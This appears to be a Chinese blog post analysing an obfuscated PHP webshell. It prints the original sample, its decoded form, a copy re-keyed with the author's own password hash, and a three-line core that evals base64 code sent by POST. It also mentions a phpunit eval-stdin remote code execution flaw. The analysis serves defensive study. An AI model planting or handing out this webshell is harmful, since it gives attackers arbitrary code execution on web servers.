裤衩哥的小屋

# 对一个加密webshell分析

工具开发,网络安全 Tags: 无标签 阅读: 99

对一个加密webshell分析

大佬微信突然问我是不是马:
-w321

第一眼看花是php://input
那铁定是马啊,后来仔细一看phpunit路径

然后想起来是phpunit组件自带的,这个租钱在2014年时候有个漏洞,就是因为使用的是php//input,然后这个组件给暴露在web容器中了,导致的rce
https://github.com/sebastianbergmann/phpunit/blob/master/src/Util/PHP/eval-stdin.php

-w420


过了一会大佬又发我了一份样本。。。。今天国庆啊。。。。

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

解密整理后:

<?php 
$CF ='create_function';
$EB=@$CF(eval(@session_start();
if(isset($_POST['code'])substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode'])););)
$EB();
?>

发现使用密码:

substr(sha1(md5($_POST['a'])),36)=='222f'

这句话就是判断密码,首先将变量a经过md5加密后再使用sha把密文在加密,使用substr函数截取40位sha加密后从第37-40这四个字符,如果等于222f那就代表密码正确。这种加密不可逆, 但是我们可以修改222f为自己已知的加密后的内容
比如改成:df86
-w893
-w909

-w558

修改原样本密码后:

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nZTgxNScmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

-w1388

-w959
其实把木马提取出来就是这三行:

<?php 
@session_start();
@$_SESSION['theCode']=$_POST['code'];
@eval(base64_decode($_SESSION['theCode']));
?>

过了一会,大佬又来一个文件。
-w245
然后我就想应该是软件扫出来的马记录吧。
然后搜索了下常见命令执行函数:
找到了exec ,然鹅是写死的。
传入变量是可控,可能存在rce(然鹅我没弄过thinkphp所以不知道是否过滤了)
但是这个文件初步判定是非马,就没继续看了。看注释很多也像正常文件。
-w638

发表评论